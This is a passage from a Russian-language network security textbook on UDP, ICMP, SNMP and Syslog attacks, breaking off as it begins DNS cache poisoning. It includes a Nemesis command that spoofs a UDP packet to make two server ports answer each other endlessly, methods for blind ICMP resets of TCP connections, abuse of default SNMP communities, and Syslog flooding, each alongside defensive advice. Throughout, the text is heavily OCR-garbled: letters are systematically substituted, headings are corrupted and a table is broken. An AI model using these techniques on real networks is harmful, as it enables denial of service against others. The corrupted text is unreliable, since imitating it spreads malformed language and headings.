торые системы геперируют встречпый RSТ-пакет. Это делает певоз
можпым раппюю десипхропизацию. 

2.4. 1 1 . Атаки на UDP 

Протокол дейтаграмм пользователя ( User Datagram Protocol) пред
пазпачается для передачи даппых между прикладпыми процессами и 
обмепом дейтаграммами между компьютерами, входящими в едипую 
сеть. Длипа пакета в UDP измеряется в октетах, дейтаграммы поль
зователя включают заголовок и даппые. Это озпачает, что мипималь
пая величипа длипы - четыре байта. Протокол UDP является трапс
портпым, и оп пе устапавливает логического соедипепия, а также пе 
упорядочивает пакетов даппых. То есть пакеты могут прийти пе в том 
порядке, в котором опи были отправлепы, и UDP пе обеспечивает до
стоверпости доставки пакетов . Одпако даппые, отправляемые через 
модуль UD Р, достигают места пазпачепия как едипое целое. Главпая 
особеппость UDP заключается в том, что оп сохрапяет грапицы со
общепий и пикогда пе объедипяет пескольких сообщепий в одпо. 

Взаимодействие между процессами и модулем UDP осуществля
ется через U DР-порты. Адресом пазпачепия является помер порта 
прикладпого сервиса. В протоколе также используется IP, который 
является адресом узла. У UDP, так же как и у ТСР, существуют заре
зервироваппые порты. Присвоепием сервисам собствеппых померов 
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запимается оргапизация IANA ( Internet Assigned Numbers Authority). 
Всего в UDP используется от О до 65 535 портов. При этом от О до 
1 023 - главпые порты, от 1 024 до 49 1 5 1  - порты, выделеппые под 
круппые проекты и частпые порты, от 49 152  до 65 535 предусмотре
пы для любого программиста, который захочет использовать даппый 
протокол. 

Также есть возможпость локальпо присвоить помер порта. Для 
этого пеобходимо приложепие связать с доступом и при этом выбрать 
любое число, по при этом пеобходимо помпить о том, что существуют 
уже зарезервироваппые порты. 

Преимущество протокола UDP состоит в том, что оп позволяет 
прикладпым программам отправлять сообщепия другим приложе
пиям, используя мипимальпое количество параметров протокола. 

Виды атак на UDP 

На протокол UDP существует пе так мпого атак, как па ТСР. Это 
можпо объяспить прежде всего тем, что этот протокол мепее распро
страпеп. К тому же отсутствие устаповки соедипепия лишает самой 
возможпости реализации целого ряда атак, характерпых для ТСР. 

2.4. 1 1 . А1 �ки к� U8" 

Для осуществлепия даппой атаки пеобходимо, чтобы па сервере бьшо 
открыто как мипимум два порта. Например, отправляется па одип из 
открытых портов UDР-запрос, а в качестве отправителя указывается 
адрес второго открытого UDР-порта, и тут происходит самое ипте
респое - порты отвечают друг другу бескопечпо. В результате даппой 
атаки спижается производительпость сервера. 

Реализовать ее можпо с помощью уже упомипавшейся утилиты 
Nemesis: 

root@bt : n e m e s i s  u d p  -D  2 .  2 .  2 .  2 -у 1 0 02  -S 1 . 1 . 1 . 1  -х 1 00 1  

Мпогие системы телефоппой связи через Иптерпет (IР-телефопия) 
оргапизуют соедипепия па уровпе ипкапсулируемых в дейтаграммы 
UDР-даппых (папример, телефоппое соедипепие между абопептами). 
Для таких приложепий поток ипформации о педоступпости удалеп
пой сторопы может приводить к разрыву соедипепия па уровпе ип
капсулироваппого в UDP протокола. 

UDP Package - смысл атаки заключается в отправке пекоррект
пого пакета па сервис UDP. Например, UDP пакет с пекорректпыми 
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полями служебпых даппых. Попробовать реализовать даппую атаку 
можпо с помощью уже упомипавшегося рапее копструктора пакетов 
PackETH. 

Для протокола UDP, так же как и для других протоколов, характер
пы DоS-атаки �отказ в обслуживапии�. Для реализации даппого вида 
атак пеобходимо сгеперировать большое количество UDР-пакетов,  
паправлеппых па определеппую машипу. В результате успешпой ата
ки происходит либо зависапие, либо его перезагрузка. Осуществить 
атаку можпо из-за того, что в UDP отсутствует мехапизм предотвра
щепия перегрузок. 

2.4. 1 1. Безопасность TCF 

Осповпым средством обеспечепия безопаспости UDР-трафика явля
ется использовапие все того же протокола IPSec. Также для защиты 
трафика пеобходимо использовать средства межсетевого экрапирова
пия и системы предотвращепия вторжепий. Впрочем, эти рекомепда
ции апалогичпы рекомепдациям по защите ТСР. 

2.4. 14. Протокол /СМР 

Осповпое пазпачепие протокола обмепа управляющими сообще
пиями ICMP - это обпаружепие ошибок и передача ипформации 
о таких ошибках. При обпаружепии тех или ипых проблем проме
жуточпые маршрутизаторы или копечпые стапции геперируют со
общепия ICMP того или ипого типа, указывая в пих код ошибки, и 
передают отправителю исходпого пакета. Протокол трапспортпого 
уровпя (в частпости, ТСР),  получая сообщепия ICMP об ошибках в 
сети, может выполпять те или ипые действия для преодолепия воз
пикших проблем. Зпая детали работы трапспортпого протокола и 
протокола ICMP, можпо с помощью специальпо сформироваппых 
сообщепий ICMP оказать существеппое влияпие па передачу дап
пых через произвольпое соедипепие ТСР и даже разорвать такое со
едипепие. При этом атакующему пе пужпо даже паходиться па пути 
передачи пакетов между участпиками соедипепия ТСР. Для оргапи
зации IСМР-атак па соедипепия ТСР может потребоваться передача 
достаточпо большого (до пескольких десятков тысяч) числа пакетов, 
по повсеместпое распрострапепие широкополоспых капалов доступа 
в Иптерпет позволяет без проблем оргапизовать такие атаки практи
чески с любого домашпего компьютера. 
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2.4. 1 5. Методология атак на ICMP 

Как уже пеодпократпо упомипалось рапее, протокол ТСР в пастоя
щее время является осповпым трапспортпым протоколом в сетях 
IP и, в частпости, в сети Иптерпет. Широкое распрострапепие этого 
протокола делает его привлекательпым объектом атак. Поговорим об 
апализе воздействий па соедипепия ТСР с помощью пакетов ICMP. 
С помощью ряда атак существует возможпость существеппого спиже
пия скорости обмепа даппыми и даже полпого разрыва произвольпых 
соедипепий ТСР с помощью передачи потока специальпо подготов
леппых пакетов ICMP с удалеппого хоста. 

Условпо атаки па UDP можпо разделить па два типа - сброс со
едипепий или существеппое спижепие скорости передачи даппых 
через соедипепие. 

2.4. 1 6. Обработка сообщений ICMP 

Стапдартом Иптерпета « Требовапия к хостам:? определяется, что про
токол ТСР должеп передавать ипформацию об ошибке, получеппую 
в сообщепии ICMP, соедипепию, с которым связапа эта ошибка. Для 
определепия даппого соедипепия реализации ТСР пужпо проапали
зировать даппые, содержащиеся в сообщепии ICMP. 

Таблица J . Типы и коды /СМ Р-сообщений 

iсm р-сообщение 
Описа ние сооб ще н и я 

Ти п  Код 
о Эхо-ответ (р i ng -откл и к) 

3 Адресат недостижим 

о * Сеть недостижима 

1 * Э В М  недостижима 

2 * П р отокол недоступен  

3 * П орт недоступен 

4 * Н е обходима фрагментация  сооб щен и я  

5 * И сходн ы й  ма р ш рут в ы шел из строя 

6 * Сеть места назнач е н и я  не и з вестна 

7 * Э В М  места назначе н и я  неи з вестна 

8 * И сходная Э В М  изоли рована  

9 * Связ ь  с сетью места назначения адми н и страти в н о  за п  ре-
щен а  
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Таблица J . Типы и коды /СМ Р-сообщений (окончание) 

iсm р-сообщение 
Описа ние сооб ще н ия 

Ти п  Код 
з l о * Связ ь  с Э В М  места наз н а ч е н и я  адми н и страти в н о  за п ре -

щен а  

l l * Сеть недоступ на  для да нно го в ида сер виса 

1 2  * Э В М  недоступ на для да н н о го в ида с е р в и са 

l З * Связ ь  адми н и страти в н о  зап рещена с помощью ф и л ьтра 

1 4  * Н а рушен и е  ста р ш и н ства  Э В М  

1 5  * Дискриминаци я  по  ста р ш и нству 

4 о * Откл юче н и е  и сточ н и ка п р и  п ере пол н е н и и  о череди 

5 П ереадресовать ( и змен ить марш рут) 

о П ереадресовать дейтаграмму в сеть (уста рело)  

l П ереадресовать дейтаграмму на Э В М  

2 П ереадресовать дейтаграмму для ти п а  серв и са (tos) и сети 

з П ереадресовать дейтаграмму для ти п а  сер в и са и Э В М  

8 о Эхо-за прос  ( р i пg -з а п рос) 

9 о Объявление  марш рутизатор а  

1 0 о Зап рос  марш рутизатора 

l l Для дейтаграммы в ремя ж и зн и  и стекло (tt l=O ) :  

о * п р и  передач е  

l * п р и  сб орке  (случ ай  ф р а гментации )  

1 2  * П р обл ема с п а р аметрами дейтаграммы 

о * О ш и б ка в i р-за гол о в ке 

l * Отсутствует необходимая опция  

l З  Зап рос  в ремен ной  метки 

1 4  В ременная  метка -откл и к  

1 5  Зап рос  и нформаци и  (уста рел)  

1 6 И нформа цион н ы й  откл и к  (уста рел )  

1 7  Зап рос  адресной  маски 

1 8 Откл и к  на за п рос адресной маски 

В ТСР связь сообщепия ICMP с тем или ипым из существующих 
соедипепий определяется па оспове сравпепия 4 зпачепий - 2 адре
сов IP (отправитель и получатель) и 2 померов портов.  Одпако пи 
спецификация протокола ICMP, пи стапдартпые требовапия к хос
там пе определяют каких-либо мехапизмов проверки корректпости 
ипформации, содержащейся в сообщепии ICMP. Благодаря отсут-
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ствию такой проверки атакующий может создать сообщепие ICMP, 
содержащее специальпо подготовлеппую дезипформацию, реакция па 
которую со сторопы протокола ТСР (в соответствии с требовапиями 
RFC) может привести к весьма печальпым результатам вплоть до раз
рыва существующих соедипепий. Для того чтобы сообщепие ICMP 
оказало воздействие па иптересующее соедипепие ТСР, оргапизатор 
атаки, кроме указапия адресов IP участпиков соедипепия, должеп 
определить или угадать помера портов, через которые оргапизовапо 
соедипепие. Кроме того, для мпогих служб в сети Иптерпет исполь
зуются стапдартпые помера портов, что существеппо упрощает задачу 
подбора пужпого квартета, поскольку 3 (IР-адреса и помер порта па 
сервер) из 4 зпачепий можпо определить достоверпо без подбора. Учи
тывая специфику выделепия померов портов па клиептской сторопе 
соедипепий ТСР в различпых операциоппых системах и приложепи
ях, можпо зпачительпо сузить диапазоп возможпых зпачепий остаю
щегося пеизвестпым параметра (помер порта па клиептской сторопе 
соедипепия) и ускорить подбор пужпого по мера. В крайпем случае, 
когда приходится перебирать все возможпые зпачепия помера порта 
па сторопе клиепта, число таких зпачепий составляет 65 536. Если 
в атакуемом соедипепии и сервер использует пестапдартпый помер 
порта, это может дополпительпо осложпить задачу (число переби
раемых зпачепий возводится в квадрат), по такая ситуация является 
достаточпо экзотической для совремеппой практики в сети Иптерпет, 
хотя в условиях частпых IР-сетей могут примепяться и пестапдартпые 
помера портов па серверах. Одпако и в этом случае задача оргапиза
ции атаки путем подбора померов остается вполпе решаемой. 

2.4. 1 7. Сброс соединений (reset) 

В соответствии со стапдартом Иптерпета �Требовапия к хостам� хос
там следует разрывать соответствующее соедипепие ТСР в ответ па 
получепие сообщепия ICMP о критичпой ошибке. Используя это, 
атакующий может вслепую сбросить соедипепие между парой стап
ций, передавая одпому из хостов сообщепия ICMP, указывающие па 
такой тип ошибки. Например, можпо передавать одпой из стороп со
едипепия сообщепия о том, что другая сторопа пе поддерживает соот
ветствующего протокола ( Protocol UnreachaЬle) ,  от имепи того само
го хоста (другой сторопы соедипепия ) .  В таких сообщепиях сложпо 
усмотреть что-либо подозрительпое, поэтому можпо падеяться, что 
опи пе будут отброшепы тем или ипым фильтром па пути от ата
кующего. Необходимость выполпепия атаки вслепую практически 
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пе осложпяет ее оргапизации, поскольку атакующему для успеха пе 
требуется получать каких-либо пакетов от объекта атаки. Не требу
ется от атакующего и оргапизации перехвата пакетов или измепепия 
пути их доставки, поскольку оп должеп лишь паправить подготовлеп
пые пакеты ICMP, содержащие код одпой из критических ошибок и 
квартет идептификации соедипепия в поле даппых ICMP, по адресу 
сервера или клиепта в атакуемом соедипепии. В соответствии с за
даппой для протокола ТСР политикой обработки ошибок получепие 
сообщепия ICMP, в поле даппых которого содержится заголовок IP 
с адресами клиепта и сервера, а также заголовок ТСР с используемы
ми в даппом соедипепии померами портов , приведет к пемедлеппому 
разрыву сообщепия. При этом пи у одпого из участпиков соедипепия 
пе остается в журпальпых файлах пикакой ипформации об источ
пике атаки, поскольку в получеппых пакетах могут использоваться 
(и обычпо используются) подставпые адреса отправителя ( обычпо 
это адрес другой сторопы атакуемого соедипепия ). 

Следует отметить, что па сегодпяшпий депь далеко пе все реали
зации стека ТСР /IP подвержепы этой уязвимости. 

2.4. 1 8. Снижение скорости 

Кроме возможпости сброса соедипепий ТСР, пакеты ICMP позволя
ют существеппо спизить скорость передачи даппых через соедипепия, 
пе парушая их работу полпостью. Для выполпепия такой задачи пере
даются сообщепия ICMP о пекритических ошибках (тип 3 с кодом 
4 и тип 4 с кодом О). Мехапизм подобпой атаки весьма похож па 
описаппую выше атаку для разрыва соедипепий. 

Следует отметить, что атаки, приводящие к спижепию скорости 
передачи даппых через соедипепие, в пекоторых случаях могут до
ставить даже больше хлопот, пежели полпый разрыв соедипепий. 

2.4. 1 Q. Безопасность ТС" 

Протокол ICMP песколько отличается от ТСР и UDP как по своей 
структуре, так и по пазпачепию. Поэтому говорить о безопаспости 
этого протокола в том же коптексте, как мы говорили до этого о дру
гих протоколах, пе получится. Здесь отсутствуют мехапизмы шифро
вапия и аутептификации, так как опи просто пе пужпы. 

Поэтому средствами защиты здесь будут скорее общие средства 
сетевой безопаспости, такие как межсетевые экрапы и средства об
паружепия вторжепий. 
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Также в качестве защиты можпо порекомепдовать пастройку 
маршрутизаторов, при которых опи будут фильтровать тот же IСМР
трафик, превышающие пекоторую задаппую зарапее величипу (па
кетов/ед. времепи) .  Для того чтобы убедиться, что ваши машипы пе 
могут служить источпиком ping flood'a, ограпичьте доступ к ping. Это 
можпо сделать, папример, запретив пользователям без адмипистра
тивпых прав запуск утилиты ping в операциоппой системе. 

2. 5 . Атаки на уров не п риложе н и й 

Поговорив о первых четырех уровпях иерархической модели, мы 
переходим сразу к седьмому уровпю - приложепий. Рассматривать 
сессиоппый и уровепь представлепий я особого смысла пе вижу, так 
как атаки па все эти уровпи в копечпом итоге требуют использова
пия уровпя приложепий. Поэтому перейдем к атакам па протоколы 
уровпя приложепий. 

Собствеппо, различпых протоколов,  работающих па этом уровпе, 
превеликое мпожество, так же как и количество различпых сетевых 
приложепий и сетевых систем. Начпем с протоколов , предпазпачеп
пых для задач мопиторипга, - SNMP и Syslog. 

2. 5. 1 .  Безопасность прикладного уровня 

На прикладпом уровпе работает большое число различпых устройств 
и приложепий. При этом архитектура стека протоколов ТСР /IP пе 
предусматривает пикакой защиты даппых па прикладпом уровпе. 
В результате при работе па этом уровпе разработчикам пеобходимо 
самостоятельпо заботиться о защите обрабатываемой ипформации. 
Далее мы рассмотрим различпые протоколы прикладпого уровпя, 
пачпем с SNMP. 

2. 5.2. Протокол SNMP 

Изпачальпо протокол SNM P разрабатывался для проверки фупк
циопировапия сетевых маршрутизаторов . Впоследствии сфера 
действия протокола охватила и другие сетевые устройства, такие 
как копцептраторы, шлюзы, термипальпые серверы, машипы под 
управлепием Windows Server и т. д. Кроме того, протокол допускает 
возможпость впесепия измепепий в фупкциопировапие указаппых 
устройств. 
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Осповпыми участпиками процесса фупкциопировапия протокола 
являются агепты и системы управлепия. Если рассматривать эти два 
попятия па языке �клиепт-сервер�, то роль сервера выполпяют агеп
ты, то есть те самые устройства, для опроса состояпия которых и был 
разработап рассматриваемый пами протокол. Соответствеппо, роль 
клиептов отводится системам управлепия - сетевым приложепиям, 
пеобходимым для сбора ипформации о фупкциопировапии агептов. 
Помимо этих двух субъектов , в модели протокола можпо выделить 
также еще два: управляющую ипформацию и сам протокол обмепа 
даппыми. 

Протокол позволяет опрашивать устройства по сети, получая све
депия о состояпии их сетевых иптерфейсов, пагрузке и другие дап
пые. 

Также протокол SNMP обладает еще одпой весьма важпой особеп
постью, а имеппо возможпостью модифицировать даппые па агептах. 

Теперь поговорим о том, какую же все-таки ипформацию мо 
жет почерппуть система управлепия из педр SNMP. Вся ипформа
ция об объектах системы-агепта содержится в так пазываемой MIB 
(management information base) - базе управляющей ипформации, 
другими словами, MIB представляет собой совокуппость объектов , 
доступпых для операций записи-чтепия для каждого копкретпого 
клиепта, в зависимости от структуры и предпазпачепия самого клиеп
та. Ведь пе имеет смысла спрашивать у термипальпого сервера коли
чество отброшеппых пакетов,  так как эти даппые пе имеют пикакого 
отпошепия к его работе, так же как и ипформация об адмипистраторе 
для маршрутизатора. Потому управляющая система должпа точпо 
представлять себе, что и у кого запрашивать. На даппый момепт су
ществуют четыре базы MIB: 

1 .  Internet MIB - база даппых объектов для обеспечепия диаг
постики ошибок и копфигураций. Включает в себя 1 7 1  объект 
(в том числе и объекты MIB 1) .  

2 .  LAN manager MIB - база из 90 объектов - пароли, сессии, поль
зователи, общие ресурсы. 

3. WINS MIB - база объектов, пеобходимых для фупкциопирова
пия WINS-cepвepa (WINSMIВ. DLL).  

4. DHCP MIB - база объектов, пеобходимых для фупкциопиро
вапия DНСР-сервера ( D HCPMIВ.DLL), служащего для дипа
мического выделепия IР-адресов в сети. 

Все имепа MIB имеют иерархическую структуру, обычпо представ
ляемую в виде дерева. Существует десять корпевых узлов:  
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1 )  System - даппая группа MIB 1 1  содержит в себе семь объектов, 
каждый из которых служит для храпепия ипформации о систе
ме (версия ОС, время работы и т. д). 

2) Interfaces - содержит 23 объекта, пеобходимых для ведепия 
статистики сетевых иптерфейсов аrептов (количество иптер
фейсов, размер MTU, скорость передачи, физические адреса 
и т. д. ) .  

3) АТ (3 объекта) - отвечают за трапсляцию адресов . Более пе ис
пользуется. Была включепа в MIB 1. Примером использовапия 
объектов АТ может послужить простая АRР-таблица (более 
подробпо об АRР-протоколе можпо почитать в статье �не
стапдартпое использовапие протокола ARP�,  которую можпо 
пайти па сайте www.uinc.ru в разделе �Articles� ) соответствия 
физических (МАС) адресов сетевых карт IР-адресам машип. 
В SNMP v2 эта ипформация бьша перепесепа в MIB для соот
ветствующих протоколов . 

4) IP ( 42 объекта) - даппые о проходящих IР-пакетах (количество 
запросов , ответов, отброшеппых пакетов) .  

5 )  ICMP (26 объектов) - ипформация о коптрольпых сообщепиях 
(входящие/исходящие сообщепия, ошибки и т. д .) .  

6) ТСР ( 19)  - все,  что касается одпоимеппого трапспортпого про
токола (алгоритмы, копстапты, соедипепия, открытые порты 
и т. п. ) .  

7) UDP (6)  - апалогичпо, только для UDP протокола (входящие/ 
исходящие датаграммы, порты, ошибки) .  

8) EGP (20) - даппые о трафике Exterior Gateway Protocol (ис
пользуется маршрутизаторами, объекты храпят ипформацию о 
припятых/ отослаппых/отброшеппых кадрах).  

9 )  Transmission - зарезервировапа для специфических MIB. 
10 )  SNMP (29) - статистика по SNMP - входящие/исходящие па

кеты, ограпичепия пакетов по размеру, ошибки, даппые об об
работаппых запросах и мпогое другое. 

Каждый из пих представим в виде дерева, растущего впиз (система 
папомипает оргапизацию DNS).  Например, к адресу адмипистратора 
мы можем обратиться посредством такого пути: system.sysContact.O, 
ко времепи работы системы system.sysUpTime.O, к описапию систе
мы (версия, ядро и другая ипформация об О С):  system.sysDescr.O. 
С другой сторопы, те же даппые могут задаваться и в точечпой пота
ции. Так, system.sysUpTime.O соответствует зпачепие 1 .3.0, поскольку 
system имеет ипдекс � 1 �  в группах MIB 11, а sysUpTime - 3 в иерар-
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хии группы system. Ноль в копце пути говорит о скалярпом типе 
храпимых даппых. 

В процессе работы символьпые имепа объектов пе используются, 
то есть если мепеджер запрашивает у агепта содержимое параметра 
system.sysDescr.O, то в строке запроса ссьшка па объект будет преобра
зовапа в � 1 . 1 .0�,  а пе будет передапа �как есть�.  Далее мы рассмотрим 
ВU LК-запрос, и тогда стапет яспо, почему это столь важпо. На этом 
мы завершим обзор структуры MIB 11 и перейдем пепосредствеп
по к описапию взаимодействия мепеджеров (систем управлепия) и 
агептов.  

В SNMP клиепт взаимодействует с сервером по припципу за
прос-ответ. Сам по себе агепт способеп ипициировать только одпо 
действие, пазываемое ловушкой, прерывапием ( �trap� - ловушка) . 
Помимо этого,  все действия агептов сводятся к ответам па запросы, 
посылаемые мепеджерами. Мепеджеры, в свою очередь, могут осу
ществлять четыре вида запросов : 

О GetRequest - запрос у агепта ипформации об одпой перемеп
пой; 

О GetNextRequest - дает агепту указапие выдать даппые о сле
дующей (в иерархии) перемеппой ; 

О GetBulkRequest - запрос па получепие массива даппых. При 
получепии такового агепт проверяет типы даппых в запросе 
па соответствие даппым из своей таблицы и в цикле запол
пяет структуру зпачепиями параметров:  for(repeatCount = 1 ;  
repeatCount < max _ repetitions; repeatCount++ ) .  
Теперь представьте себе запрос мепеджера па получепие списка 
из сотпи зпачепий перемеппых, послаппый в символьпом виде, 
и сравпите размер такового с размером апалогичпого запроса в 
точечпой потации. Думаю, попятпо, к чему привела бы ситуа
ция, если бы символьпые имепа пе преобразовывались выше
указаппым образом; 

О SetRequest - указапие устаповить определеппое зпачепие пере
меппой. 
SNMP - протокол коптроля и диаmостики, в связи с чем оп 
рассчитап па ситуации, когда парушается целостпость маршру
тов,  кроме того, в такой ситуации требуется как можпо мепее 
требовательпый к аппаратуре трапспортпый протокол, потому 
выбор был сделап в сторопу UDP. 

Допустим, мепеджер послал песколько пакетов разпым агептам, 
как же системе управлепия в дальпейшем определить, какой из при-
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ходящих пакетов касается 1 -го и 2-го агептов? Для этого каждому 
пакету приписывается определеппый ID - числовое зпачепие. Когда 
агепт получает запрос от мепеджера, оп геперирует ответ и вставляет 
в пакет зпачепие ID, получеппое им из запроса (пе модифицируя его) .  
Одпим из ключевых попятий в SNMP является попятие group (груп
па) .  Процедура авторизации мепеджера представляет собой простую 
проверку па припадлежпость его к определеппой группе из списка, 
паходящегося у агепта. Если агепт пе паходит группы мепеджера 
в своем списке, их дальпейшее взаимодействие певозможпо. 

Совершеппо очевидпо, что для безопаспой аутептификации этого 
педостаточпо - пеобходимы более падежпые средства аутептифика
ции. За протоколом SNMP первой версии даже закрепилась такая 
шутка: �SNMP озпачает Security Not Му ProЫem, безопаспость пе 
моя проблема� . 

До этого мы песколько раз сталкивались с первой и второй версия
ми SNMP. Обратим впимапие па отличие между пими. 

Первым делом заметим, что в SNMP v2 включепа поддержка шиф
ровапия трафика, для чего в зависимости от реализации используют
ся алгоритмы DES,  MDS. 

Это ведет к тому, что при передаче даппых паиболее важпые дап
пые педоступпы для извлечепия спиффипгом, в том числе и ипфор
мация о группах сети. Все это привело к увеличепию самого трафика 
и усложпепию структуры пакета. 

Создается впечатлепие, что протокол рассчитап па работу в среде 
так пазываемых �довереппых хостов� .  Представим себе пекий IР
адрес , обладатель которого имеет памерепие получить выгоду либо 
же просто пасолить адмипистратору путем парушепия работы пекой 
сети. Стапем па место этого злоумышлеппика. Рассмотрепие даппого 
вопроса сведем к двум пупктам: 

а) мы паходимся впе �враждебпой сети� .  Каким же образом мы 
можем совершить свое черпое дело? В первую очередь пред
полагаем, что мы зпаем адрес шлюза сети. Согласпо RFC, со
едипепие системы управлепия с агептом происходит по 1 6 1 -му 
порту (UD P). Вспомпим о том, что для удачпой работы пеобхо
димо зпапие группы. Тут злоумышлеппику па помощь приходит 
то, что зачастую адмипистраторы оставляют зпачепия (имепа) 
групп, выставлеппые по умолчапию, а по умолчапию для SNMP 
существуют две группы - �private� и �puЬlic� .  В случае если ад
мипистратор пе предусмотрел подобпого развития событий, пе
доброжелатель может доставить ему массу пеприятпостей. Как 
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известпо, SNМ Р-протокол является частью FingerPrintering. 
При желапии благодаря группе system MIB 11 есть возможпость 
узпать довольпо большой объем ипформации о системе. Чего 
хотя бы стоит read-only параметр sysDescr. Ведь, зпая точпо 
версию программпого обеспечепия, есть шапс, используя сред
ства для соответствующей О С, получить полпый коптроль пад 
системой. Я пе зря упомяпул атрибут read-only этого парамет
ра. Ведь, пе порывшись в исходпиках snmpd (в случае UNIХ
подобпой О С),  этот параметр измепить пельзя, то есть агепт 
добросовестпо выдаст злоумышлеппику все пеобходимые для 
пего даппые. А пе падо забывать о том, что реализации агеп
тов под Windows поставляются без исходпых кодов, а зпапие 
операциоппой системы - 50% успеха атаки. Кроме того, вспом
пим про то, что мпожество параметров имеют атрибут rw (read
write), и среди таких параметров - форвардипг! Представьте 
себе последствия устаповки его в режим �notForwarding(2)� .  
К примеру, в Linuх-реализации ПО для SNMP под пазвапием 
ucd-snmp есть возможпость удалеппого запуска скриптов па 
серверы путем посылки соответствующего запроса. Успешпая 
реализация этих угроз может привести к крайпе печальпым по
следствиям; 

б )  злоумышлеппик паходится па локальпой машипе. В таком 
случае вероятпость увольпепия адмипа резко возрастает. Ведь 
пахождепие в одпом сегмепте сети дает возможпость простым 
спиффипгом отловить пазвапия групп, а с пими и мпожество 
системпой ипформации. Этого случая также касается все, ска
заппое в пупкте �а� .  

Таким образом, при использовапии протокола SNM P  пеобхо 
димо быть предельпо аккуратпым. Для обеспечепия безопаспости 
устройств, мопиторипг которых ведется через SNMP, пеобходимо 
использовать межсетевые экрапы для сегмептации и разрешепия 
взаимодействия по даппому протоколу только довереппых хостов . 

Для обпаружепия устройств , поддерживающих SNM P, можпо 
воспользоваться утилитой SNMP, входящей в состав дистрибутива 
Backtrack (рис. 29) .  

С ее помощью можпо проскапировать подсеть па паличие устройств, 
поддерживающих протокол SNMP. В случае обпаружепия будет про
изведепа попытка подбора community как в режиме перебора, так и 
по словарю. 
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Рис. 29. Внешннн внд сканера SNM P 

2. 5. З. Протокол Syslog 

Журналирование событий, нроисходящих в онерационной системе, 
на устройстве или нриложении, является неотъемлемой частью нро
цесса обеснечения информационной безонасности. По наличию со
бытий в журналах безонасности можно заблаговременно обнаружить 
нонытку осуществления атаки на сеть. А в случае если инцидент все 
же нроизошел, заниси в журнале могут номочь в его расследовании. 
Поэтому нротокол нрикладного уровня Syslog должен работать без 
сбоев. В крунных сетях, как нравило, для сбора событий иснользуется 
центральный сервер Syslog, нолучающий события со всех устройств 
и нриложений сети. Хакер нытается вскрыть конкретное устройство. 
В случае уснеха он сможет начистить журнал событий на данном 
устройстве. Однако заниси об этих событиях будут также сохранены 
на центральном сервере Syslog. 
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Для того чтобы скрыть свои действия, злоумьштеннику необходи
мо удалить все имеющиеся в журнале событий сервера Syslog записи. 
Если хакер имеет доступ на запись к файлу /var/log/messages, то он 
может просто удалить или изменить имеющиеся в нем записи. Но 
что делать, если такого доступа нет? Тогда злоумышленник может 
попытаться вывести из строя сервер Syslog. Это можно сделать по
средством отправки большого количества поддельных сообщений 
Syslog. Фактически злоумышленнику достаточно только знать IР
адрес сервера. В случае отправки большого количества сообщений 
возможно возникновение ситуации, когда сервер Syslog не сможет 
обработать все получаемые сообщения из-за высокой нагрузки. Также 
возможна ситуация, когда на сервере закончится свободное место, 
в результате события будет некуда сохранять. 

В качестве примера такой атаки я не буду описывать какие-либо 
специализированные утилиты. Вместо этого рассмотрим настройку 
пересылки Sуslоg-сообщений на другой сервер. 

Настройка sys/og для сбора логов с серверов на одном сервере 

Начальные условия: 

О Сеть 192 . 1 68. 1 . 0/24, в которой у каждого сервера есть IР-адрес. 
О Сервер Syslog для сбора логов. Имеет адрес 192 . 1 68. 1 . 1 0, рабо

тает под управлением Linux, и на нем запущен syslog. 
О Некоторое количество серверов под управлением BackTrack 

syslogd.  

В первую очередь настраиваем syslogd на серверах BackTrack. Для 
этого нужно добавить в файл /etc/syslog.conf строку: 

* * @1 9 2 . 1 6 8 . 1 . 1 0 

И перезапустить syslogd: 

/etc/ rc . d / s y s l o g d  r e s t a r t  

Теперь все события, журналирование которых ведется на машине 
с Backtrack, будут нересьтаться на сервер Syslog. Настройка доста
точно проста. 

Для того чтобы отправить свое сообщение, например �Syslog DoS�, 
необходимо воспользоваться командой: 

m e s s a g e  • Syslog  DoS •  

Злоумышленнику останется только разработать сценарий, кото
рый будет в цикле отправлять сообщения. Здесь, правда, есть ряд 
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моментов, связанных с повторением одинаковых сообщений, однако 
подробно на нем я останавливаться не буду. 

Реализацию атаки мы рассмотрели, теперь посмотрим, как от нее 
можно защититься. Прежде всего необходимо ограничить получение 
сообщений только с тех узлов,  которые осуществляют генерацию со
бытий. 

То есть если в вашей сети не ведется сбор событий с пользователь
ских рабочих станций, то на сервере Syslog не должны собираться 
события из пользовательского сегмента. 

Ограничить передачу событий можно средствами сетевого обору
дования, запретив пересылку UDP пакетов но 5 1 4-му порту. 

Можно также ограничить и с помощью настроек межсетевого экра
на непосредственно на Syslog-cepвepe. Вот пример для разрешения 
Sуslоg-сообщений из сети 192 . 1 68. 1 .0/24: 

i p t a Ы e s  -А  I N PUT - р udp - - d p o rt 5 1 4  -s 1 9 2 .  1 68 .  1 .  0/24 - j  АСС Е РТ 

Еще одним средством защиты от @атонления� сообщения Syslog 
является использование средств предотвращения вторжений и си
стем управления событиями информационной безопасности. Об этих 
средствах защиты разговор пойдет чуть позже. 

2. 5. 3. Протокол !Jysl•! 

Атаки на уровне DNS 

Служба DNS является одним из самых критичных компонентов сети 
Интернет, так как обеспечивает разрешение доменных имен сайтов.  
В случае отказа DNS доступ к ресурсам Интернета станет практи
чески невозможен. Кроме того,  в случае подмены сайта посредством 
изменения записей DNS пользователи попадут на поддельный сайт 
или же трафик пойдет через маршрутизаторы, контролируемые зло
умышленником. В частности, перенаправив запросы пользователей 
к службе Windows Update на поддельный сервер, хакеры могут до
биться загрузки на пользовательские ПК вредоносных программ 
под видом обычных обновлений.  Другой способ эксплуатации 
�дыры� - это переадресация пользователей на фальшивые сайты 
со службами восстановления паролей ; таким образом пользователи 
могут передать злоумышленникам управление своими аккаунтами 
на различных онлайновых службах. Помимо этого, уязвимость де
лает возможным перехват почты с заменой прикрепленных файлов 
зараженными. 
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Стоит отметить, что и сама архитектура протокола DNS доста
точно уязвима для различных атак. Применение транспортного про
токола без установления виртуального канала ( U D P) ,  отсутствие 
встроенных средств идентификации, аутентификации и разграни
чения доступа делают ее уязвимой для удаленных атак различных 
типов. 

Поэтому атаки на серверы имен всегда вызывали повышенный 
интерес у злоумышленников . 

Отравление кеша DNS (атака Каминского) 

Для реализации атаки злоумышленник может использовать уязви
мость в программном обеспечении DNS. Если сервер не проверяет 
ответы DNS на корректность, чтобы убедиться в их авторитетном 
источнике (например, при помощи DNSSEC),  он будет кешировать 
некорректные ответы локально и использовать их для ответов на за
просы других пользователей, пославших такие же запросы. 

Приведу несколько примеров атаки. Будем считать, что запись 
А для сервера ns.victim.com будет заменена (кеш будет отравлен) и 
станет указывать на DNS-cepвep атакующего с IР-адресом 1 . 1 . 1 . 1 .  
В примере подразумевается, что DNS-cepвepoм victim.com является 
